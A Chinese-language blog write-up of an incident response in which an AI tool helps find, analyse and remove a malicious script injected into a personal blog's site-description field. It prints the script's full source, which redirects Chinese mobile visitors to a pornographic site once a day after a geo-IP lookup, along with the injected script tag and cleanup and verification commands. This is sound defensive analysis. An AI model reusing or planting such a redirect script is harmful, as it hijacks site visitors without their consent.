网站被注入恶意脚本排查实录：AI 辅助安全分析实战
某天收到华为云监管反馈，称个人博客网站存在色情违规界面。作为技术博主，这简直是晴天霹雳——网站一直正常运行，怎么会突然出现这类问题？经过排查发现，网站被注入了恶意跳转脚本。本文记录完整的排查过程，重点分享如何借助 AI 快速定位问题并修复，希望能给遇到类似情况的开发者提供参考。
1、问题发现与初步排查
收到监管反馈后，第一时间打开网站检查。首页看起来完全正常，是一个技术博客的常规界面。但监管提供的截图显示，某些情况下会出现色情界面跳转。
1.1、借助 AI 分析网络请求
将网站 URL 提交给 AI，让它打开浏览器检查页面加载情况。AI 很快发现了关键线索：页面网络请求中存在一个可疑的外部脚本——https://ribi123.com/scriptl.js。这个域名与网站本身毫无关联，明显是第三方注入的脚本。
AI 还注意到该脚本加载失败（status 为 0），但更重要的是发现了它的存在——这说明某个位置正在尝试加载这个恶意脚本。
1.2、获取恶意脚本源码分析
AI 直接访问该恶意脚本的 URL，获取到了完整的代码内容。打开一看，代码逻辑非常清晰：
// 检测是否为移动设备
function isMobileDevice() {
var userAgent = navigator.userAgent;
return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(userAgent);
}
// 检测用户是否在中国
async function checkChinaIP() {
const response = await fetch('https://ipinfo.io/json');
const data = await response.json();
return data.country === 'CN';
}
// 重定向到色情网站
async function redirectToAnotherPage() {
if (Math.random() < 1) {
window.location.href = "https://52ikan.com/";
}
}
// 页面加载时触发
window.onload = async function () {
var isFirstVisit = localStorage.getItem(getCurrentFormattedDate());
if (!isFirstVisit) {
localStorage.setItem(getCurrentFormattedDate(), 'true');
var isC = await checkChinaIP();
if (isC && isMobileDevice()) {
redirectToAnotherPage();
}
}
};核心实现：
1. 检测访问者的 IP 归属地（是否在中国）
2. 检测访问设备类型（是否为手机）
3. 使用 localStorage 按日期控制触发频率（每天只跳转一次）
4. 满足条件时重定向到色情网站
这个脚本设计得相当"狡猾"：只针对中国用户、只针对移动设备、每天只触发一次。正因为这些限制条件，导致问题难以复现——PC 用户看不到、非中国 IP 不会触发、同一天再次访问也不会跳转。监管部门恰好用移动设备在中国网络环境下检测，于是捕获到了违规界面。
2、定位注入位置
确认了恶意脚本的存在和行为，下一步是找出它被注入到网站的哪个位置。AI 通过 curl 获取页面 HTML 源码，搜索恶意脚本标签的具体位置。
2.1、分析 HTML 上下文
搜索结果显示，恶意脚本位于页面第 1367 行左右：
<div class="card card-site-info">
<div class="m-3">
<h5 class="text-center">AI笔记本-欢迎来到 AI 驱动博客时代</h5>
<div class="small line-height-3">
...网站描述内容...
<script src="https://ribi123.com/scriptl.js"></script>
</div>
</div>
</div>定位结果：
- 恶意脚本位于网站信息卡片（card-site-info）区域
- 紧跟在网站描述文字之后
- 这段区域通常是后台"站点信息"配置的内容
2.2、推断注入途径
根据 HTML 结构分析，AI 给出了最可能的注入途径判断：
• 后台"站点信息"设置被篡改（可能性最高）
• 模板文件被修改（view/htm/ 目录）
• 数据库配置表被注入
• 某个插件存在安全漏洞
3、修复与验证
根据 AI 的定位分析，登录网站后台检查"站点信息"配置，果然在网站描述字段中发现了那段恶意脚本标签。删除后重新检测，问题彻底解决。
3.1、清理步骤
AI 提供了三种清理方案供选择：
// 方案一：通过后台删除（推荐）
登录后台 → 设置 → 站点信息
检查网站描述、公告、统计代码等字段
删除包含 ribi123.com 的内容
// 方案二：通过数据库清理
SELECT * FROM bbs_setting WHERE v LIKE '%ribi123%';
UPDATE bbs_setting SET v = REPLACE(v, '恶意脚本', '') WHERE ...
// 方案三：通过文件搜索删除
grep -r "ribi123" /网站目录/
找到后手动编辑删除核心实现：
1. 定位恶意代码的存储位置（后台配置/数据库/模板文件）
2. 删除恶意脚本标签及相关代码
3. 全站搜索确认无残留
3.2、验证清理结果
清理完成后，AI 再次检测网站多个页面：
// 验证检测命令
curl -s "http://quibbler.cn/" | grep -c "ribi123" // 结果：0
curl -s "http://quibbler.cn/?forum-1.htm" | grep -c "ribi123" // 结果：0
// 检查其他可疑脚本
curl -s "http://quibbler.cn/" | grep -i "document.write.*script"检测结果：
- 首页：无恶意脚本
- 帖子列表页：无恶意脚本
- 登录页：无恶意脚本
- 其他可疑外部脚本：未发现
4、AI 辅助排查的优势
这次排查过程让我深刻体会到 AI 在安全分析中的价值。传统排查需要手动检查日志、搜索文件、分析代码，而 AI 可以快速完成多个环节。
4.1、效率对比
• 浏览器自动化：AI 直接打开网站，分析网络请求，发现可疑脚本
• 代码分析：获取恶意脚本源码后，AI 快速解读其行为逻辑
• 定位精准：通过 HTML 上下文分析，锁定注入位置
• 多页面验证：清理后快速检测多个页面确认结果
4.2、关键能力
- 浏览器操作能力：可以直接访问网站、查看网络请求、分析页面结构
- 代码理解能力：快速分析恶意脚本的行为逻辑和触发条件
- 命令行能力：使用 curl、grep 等工具定位和验证问题
- 结构化输出：给出清晰的排查报告和修复方案
5、总结
本次网站安全事件从发现问题到修复完成，全程借助 AI 辅助分析。关键收获：恶意脚本往往设计得非常隐蔽——针对性地域、特定设备、频率控制——导致问题难以复现。借助 AI 的浏览器自动化和代码分析能力，可以快速定位这类隐蔽的安全威胁。
修复后的安全建议：
1. 立即修改后台管理员密码
2. 定期备份网站文件和数据库
3. 建立定期自查机制：搜索可疑域名和 document.write 等特征
4. 更新网站程序和插件到最新版本
对于运营网站的开发者而言，建立定期安全检查习惯、保持程序更新、遇到问题善用 AI 辅助分析，是保障网站安全运行的必要措施。
